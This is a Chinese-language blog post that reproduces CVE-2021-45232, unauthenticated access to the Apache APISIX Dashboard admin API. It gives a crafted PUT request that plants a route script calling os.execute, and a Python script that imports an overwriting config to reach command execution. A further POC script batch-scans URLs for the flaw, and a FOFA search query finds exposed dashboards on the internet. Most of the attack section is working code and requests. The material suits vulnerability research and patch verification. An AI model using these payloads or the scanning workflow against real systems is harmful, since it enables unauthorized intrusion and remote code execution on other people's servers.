前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

作者头像
UzJu@菜菜狗
发布2022-04-25 20:51:18
1.7K0
发布2022-04-25 20:51:18
举报
文章被收录于专栏:UzJu和菜菜狗UzJu和菜菜狗

一、环境搭建

Autor: UzJu Email: uzjuer@163.com

使用docker搭建环境

https://github.com/apache/apisix-docker

修改docker-compose.yml为2.7即可

image-20211229010033230
image-20211229010033230
image-20211229010627521
image-20211229010627521

默认账号密码为admin:admin

image-20211229010703226
image-20211229010703226
1、首先添加一个上游
image-20211229011121495
image-20211229011121495
2、添加一个路由
image-20211229011306186
image-20211229011306186

然后在上游服务选择,我们新建的上游

image-20211229011333572
image-20211229011333572
image-20211229011425631
image-20211229011425631

二、漏洞复现

获取/apisix/admin/migrate/export

image-20211229011632863
image-20211229011632863

构造一个Payload

image-20211229011800874
image-20211229011800874
代码语言:javascript
复制
PUT /apisix/admin/routes/ HTTP/1.1 
Host: ip:9000 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Referer: http://106.52.5.116:9000/ 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 
Cookie: -http-session-=1::http.session::e36a9dc03600ce92c8daf29b6a25f5a2 
Connection: close 
Content-Length: 248 
{"uris":["/rce"],"methods":["GET","POST","PUT","DELETE", 
"HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce","status":1,"labels":{},"script":"os.execute('touch /tmp/UzJu')", 
"upstream_id":"387864007731577539"} 

这里有两个地方需要注意,第一就是URL后面routes/后的数字是来自export中的路由ID

而下面的upstreamid是来自export中的上游ID,如果填错会报找不到upstream_id,然后需要把新的覆盖一下

某大佬发了一个文章给我,那里要用go写一个什么CRC的校验啥的,这里的话其实直接访问export就可以了,会自动下载一个bak文件

我们需要直接浏览器访问http://ip:9000/apisix/admin/migrate/export,随后会下载一个名为apisix-config.bak的文件

image-20211229012156537
image-20211229012156537

然后发送请求覆盖

代码语言:javascript
复制
#!/usr/bin/env python 
# -*- coding: UTF-8 -*- 
''' 
@Project :UzJuSecurityTools  
@File    :test.py 
@Author  :UzJu 
@Date    :2021/12/29 12:24 上午  
@Email   :UzJuer@163.com 
''' 
import httpx 
import requests 
target = "http://ip:9000" 
url = target + "/apisix/admin/migrate/import" 
files = {'file': open('./apisix-config.bak', 'rb')} 
r = httpx.post(url, data={"mode": "overwrite"}, files=files, proxies="http://127.0.0.1:8080")  
print(r.status_code) 
print(r.content) 

Ps: 上面写了proxies是因为想把流量给到burp,更好的看清楚请求

image-20211229012345037
image-20211229012345037

随后在路由的地方查看一下,发现成功覆盖了

image-20211229021141668
image-20211229021141668

看看burp接收到的请求

image-20211229025018766
image-20211229025018766

然后访问ip:9080/UzJu

image-20211229021301979
image-20211229021301979

随后进入docker查看

image-20211229021334139
image-20211229021334139

三、POC编写

最开始的POC编写思路,比较简单,既然是没做鉴权,那直接请求export然后判断返回的东西或者返回值是不是200不就可以了,先不考虑后续利用

/apisix/admin/migrate/export  /apisix/admin/migrate/import

代码语言:javascript
复制
#!/usr/bin/env python 
# -*- coding: UTF-8 -*- 
''' 
@Project :UzJuSecurityTools  
@File    :CVE-2021-45232_POC.py 
@Author  :UzJu 
@Date    :2021/12/29 12:03 上午  
@Email   :UzJuer@163.com 
''' 
import requests 
class Apache_ApiSix_Poc: 
 def __init__(self, url): 
        self.url = url + "/apisix/admin/migrate/export" 
 def checkVuln(self): 
        headers = { 
 "Connection": "close" 
 } 
 try: 
            result = requests.get(url=self.url, 
                                  headers=headers, 
                                  verify=False) 
 if '{"Consumers":[]' in result.text: 
 print(f"[+]CVE-2021-45232: {self.url}存在漏洞") 
 except: 
 pass 
if __name__ == '__main__': 
 with open('./url.txt', 'r') as f: 
 for i in f.read().splitlines(): 
            main = Apache_ApiSix_Poc(i) 
            main.checkVuln() 

然后fofa随便找一些站点,搜索语法为

title=”Apache APISIX Dashboard”

image-20211229023105386
image-20211229023105386

四、免责声明

本文内容仅用于技术交流,不存在所谓未公开POC,文中未进行打码处理的,全是已公开的POC或利用方式。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、环境搭建
    • 1、首先添加一个上游
      • 2、添加一个路由
      • 二、漏洞复现
      • 三、POC编写
      • 四、免责声明
      相关产品与服务
      容器镜像服务
      容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档